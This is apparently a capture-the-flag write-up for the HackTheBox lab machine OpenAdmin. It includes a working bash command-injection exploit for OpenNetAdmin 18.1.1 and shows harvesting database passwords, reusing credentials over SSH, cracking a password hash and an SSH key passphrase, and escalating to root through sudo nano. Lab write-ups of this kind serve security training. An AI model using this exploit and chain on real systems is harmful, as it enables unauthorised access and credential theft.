OpenAdmin Writeup (HackTheBox)

OpenAdmin Writeup (HackTheBox)

2020, May 04    

Enumeration

Starting off with an nmap scan, let’s see what we have to work with.

root@kali:~/Desktop/HackTheBox/OpenAdmin# nmap -Pn -sS -n -p1-10000 -T4 -sV 10.10.10.171
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

When we browse to http://10.10.10.171, here is what we see:

image-20200430231940003

Just the default Apache page… So I turned to dirbuster to see if there was anything else to be seen here.

root@kali:~/Desktop/HackTheBox/OpenAdmin# gobuster dir -u http://10.10.10.171 -w /usr/share/seclists/Discovery/Web-Content/common.txt 
...
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/artwork (Status: 301)
/index.html (Status: 200)
/music (Status: 301)
/server-status (Status: 403)

While there wasn’t anything useful to be found at http://10.10.10.171/artwork, there was something interesting at http://10.10.10.171/music:

image-20200430232337385

A login link taking us to http://10.10.10.171/ona!

image-20200430232458636

Conveniently enough, the page also tells us that we are running OpenNetAdmin v18.1.1. A quick search for OpenNetAdmin 18.1.1 CVE brings us to the following RCE POC. Let’s bring this down in to a script on our own Kali box and try it out!

root@kali:~/Desktop/HackTheBox/OpenAdmin# cat ona_rce.sh

#!/bin/bash
URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done


root@kali:~/Desktop/HackTheBox/OpenAdmin# ./ona_rce.sh http://10.10.10.171/ona/
$ hostname
openadmin
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Amazing, it works perfectly on the first try - gotta love when that happens. Now let’s see what we have to work with.

Foothold

$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/opt/ona/www
$ ls -al /home
total 16
drwxr-xr-x  4 root   root   4096 Nov 22 18:00 .
drwxr-xr-x 24 root   root   4096 Nov 21 13:41 ..
drwxr-x---  5 jimmy  jimmy  4096 Nov 22 23:15 jimmy
drwxr-x---  6 joanna joanna 4096 Nov 28 09:37 joanna

We know we’re running as www-data out of the /opt/ona/www directory and we should probably try and become either jimmy or joanna. Before we go any further in the filesystem, let’s see if we can pick up anything good from configuration files in the ona directory.

$ find /opt/ona -iname "*conf*"
/opt/ona/www/config
/opt/ona/www/config/auth_ldap.config.php
/opt/ona/www/config/config.inc.php
/opt/ona/www/local/config
/opt/ona/www/winc/list_configs.inc.php
/opt/ona/www/winc/app_config_type_edit.inc.php
/opt/ona/www/winc/app_config_type_list.inc.php
/opt/ona/www/winc/app_sysconf_edit.inc.php
/opt/ona/www/winc/display_config_text.inc.php
/opt/ona/www/winc/app_sysconf_list.inc.php
/opt/ona/www/workspace_plugins/builtin/config_archives
/opt/ona/www/workspace_plugins/builtin/host_actions/config.inc.php
/opt/ona/www/config_dnld.php
/opt/ona/www/modules/ona/configuration.inc.php

After doing a search for any files and directories under /opt/ona containing conf somewhere in the name, we have a list of files and folders to work with (using cat and ls). After going through the list, we’ve finally found something!

$ ls -al /opt/ona/www/local/config
total 16
drwxrwxr-x 2 www-data www-data 4096 Nov 21 16:51 .
drwxrwxr-x 5 www-data www-data 4096 Jan  3  2018 ..
-rw-r--r-- 1 www-data www-data  426 Nov 21 16:51 database_settings.inc.php
-rw-rw-r-- 1 www-data www-data 1201 Jan  3  2018 motd.txt.example
-rw-r--r-- 1 www-data www-data    0 Nov 21 16:28 run_installer
$ cat /opt/ona/www/local/config/database_settings.inc.php
...
        'db_passwd' => 'n********!',
...

A password! Now, of course this isn’t guaranteed to work, but humans tend to reuse passwords they create. Plus, since it only takes a few seconds to try it out, we’d really be doing ourselves a disservice if we didn’t. Let’s try logging in over SSH as the two users.

root@kali:~/Desktop/HackTheBox/OpenAdmin# ssh joanna@10.10.10.171
joanna@10.10.10.171's password: 
Permission denied, please try again.
root@kali:~/Desktop/HackTheBox/OpenAdmin# ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: 
...
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)

Wow, it actually worked! Now we can stop using our RCE exploit script and use this better SSH connection.

Second User

So, it looks like there’s no user flag in Jimmy’s home directory, which means we must find a way to log in as Joanna as well. Running LinEnum.sh didn’t give me anything good to work with, so I decided to scour the filesystem for any files owned by Jimmy (filtering out the things I didn’t have permission to access or that I thought were unimportant). My final listing was very slim and gave me a good lead to track down.

jimmy@openadmin:~$ find / -user jimmy 2>&1 | egrep -v "Permission denied|/proc|/sys/fs"
...
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php
...

/var/www is the Apache directory, so it looks like there may be a website by the name of internal. To confirm this let’s go take a look at the Apache configuration files.

jimmy@openadmin:/var/www$ cat /etc/apache2/sites-enabled/internal.conf 
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

It appears that we can only access the internal website on port 52846 on the loopback interface (local to the machine). Also, notice that this instance of Apache will run as Joanna. Contrast this with the default webpage we got on port 80, where the config file says to listen on port 80 on any interface.

jimmy@openadmin:/var/www$ cat /etc/apache2/sites-enabled/openadmin.conf 
<VirtualHost *:80>
...

Alright, so to actually access this site that only listens on the loopback interface, we’ll use SSH port forwarding. Re-establish your SSH connection like so:

root@kali:~/Desktop/HackTheBox/OpenAdmin# ssh -L 9090:localhost:52846 jimmy@10.10.10.171

In a nutshell, this command is saying “Hey SSH! Listen on port 9090 on my Kali box, and anything you get, just tunnel it on over to 10.10.10.171 and have it send the data to localhost:52846.” If everything went well, browse on over to http://127.0.0.1:9090 and you should see the following:

image-20200501113229785

Poking around the HTML source code a bit, we see that the login button performs a POST to index.php, and the PHP code most likely does something in the backend with our supplied data.

<form class = "form-signin" role = "form"
            action = "/index.php" method = "post">
            <h4 class = "form-signin-heading"></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

But remember, we have a shell on the web server, so we can actually see what the PHP code does!

jimmy@openadmin:/var/www/internal$ cat /var/www/internal/index.php
...
<?php
$msg = '';

if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302........0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>...

Great - but what exactly does this code do? It says that if the username supplied is jimmy and SHA-512 hash of the password equals that string, then we will be served main.php? And what’s in main.php?

jimmy@openadmin:/var/www/internal$ cat /var/www/internal/main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Interesting! Because this Apache virtual host was configured to run as Joanna, it has access to her SSH private key, which main.php will helpfully print for us. But what do we need to enter so that its SHA-512 hash is that? Rather than run Hashcat locally on my underpowered VM, I used CrackStation. Very quickly, it told me that the hash belongs to the word Revealed. Entering jimmy / Revealed in to our browser gives us the following:

image-20200501114311066

Let’s save all of that (including the BEGIN and END lines) in a file. This is our RSA private key file which we can try using with SSH key-based authentication. I saved my file as joanna_rsa, then issued the following commands:

root@kali:~/Desktop/HackTheBox/OpenAdmin# chmod 700 joanna_rsa
root@kali:~/Desktop/HackTheBox/OpenAdmin# ssh -i joanna_rsa joanna@10.10.10.171                                                                                            
Enter passphrase for key 'joanna_rsa': 

Hmmmm, it looks like the key is passphrase protected. Remember that hint about the “ninja” password? What if we try the n********! password that worked for Jimmy? Nope, it’s not that. Looks like we’ll have to bruteforce the passphrase. To do this, we’ll use John the Ripper. But first, we need to convert the RSA private key into something John will understand. Then we can run it with the rockyou wordlist.

root@kali:~/Desktop/HackTheBox/OpenAdmin# /usr/share/john/ssh2john.py joanna_rsa > joanna_rsa.hash
root@kali:~/Desktop/HackTheBox/OpenAdmin# cat joanna_rsa.hash 
joanna_rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9...
1c3f88c2a1a484d62d602903793d10d
root@kali:~/Desktop/HackTheBox/OpenAdmin# john joanna_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
...
b********s      (joanna_rsa)
...

And just like that, we’ve uncovered the passphrase for Joanna’s RSA private key. Now let’s redo our SSH command and use b********s as the passphrase.

root@kali:~/Desktop/HackTheBox/OpenAdmin# ssh -i joanna_rsa joanna@10.10.10.171
Enter passphrase for key 'joanna_rsa': 
...
joanna@openadmin:~$ id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
joanna@openadmin:~$ cat /home/joanna/user.txt
<FLAG HERE>

Grab the user flag and let’s move on to getting root.

Privilege Escalation

Before running a heavy script like LinEnum, it’s always good to check a few basic things first manually. One of those things is whether our current user is a sudoer and if so which commands they can perform.

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

Would you look at that, Joanna can run sudo /bin/nano /opt/priv without supplying a password! Is there any way we can use that to gain root access? As it turns out, there actually is a way to invoke a shell from nano, and because we’ll be using sudo it will be a root shell! After following the instructions at the link above, we end up with a shell inside nano… very cool!

image-20200501135653637

As always, cat /root/root.txt and finish up!